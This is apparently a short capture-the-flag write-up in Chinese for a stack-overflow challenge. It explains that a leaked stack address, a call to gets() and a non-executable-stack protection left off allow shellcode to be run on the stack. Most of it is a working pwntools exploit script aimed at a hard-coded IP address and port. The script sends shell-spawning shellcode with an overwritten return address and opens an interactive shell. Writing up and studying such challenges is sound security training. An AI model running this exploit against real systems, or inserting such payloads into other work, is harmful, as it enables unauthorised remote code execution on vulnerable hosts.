分析echo()

程序泄露了栈地址,并且调用了gets(),由于程序开启了PIE(NX未开),可以利用栈溢出漏洞往栈上写shellcode,然后跳转到栈执行
Exploit:
from pwn import *
ip = "49.232.142.230"
port = 17312
p = remote(ip, port)
p.recvuntil(b"journey ")
leak = p.recv(10)
offset = 302
shellcode = asm(shellcraft.sh())
payload = shellcode + b"a"*(offset - len(shellcode)) + p32(int(leak, 16))
p.send(payload)
p.interactive()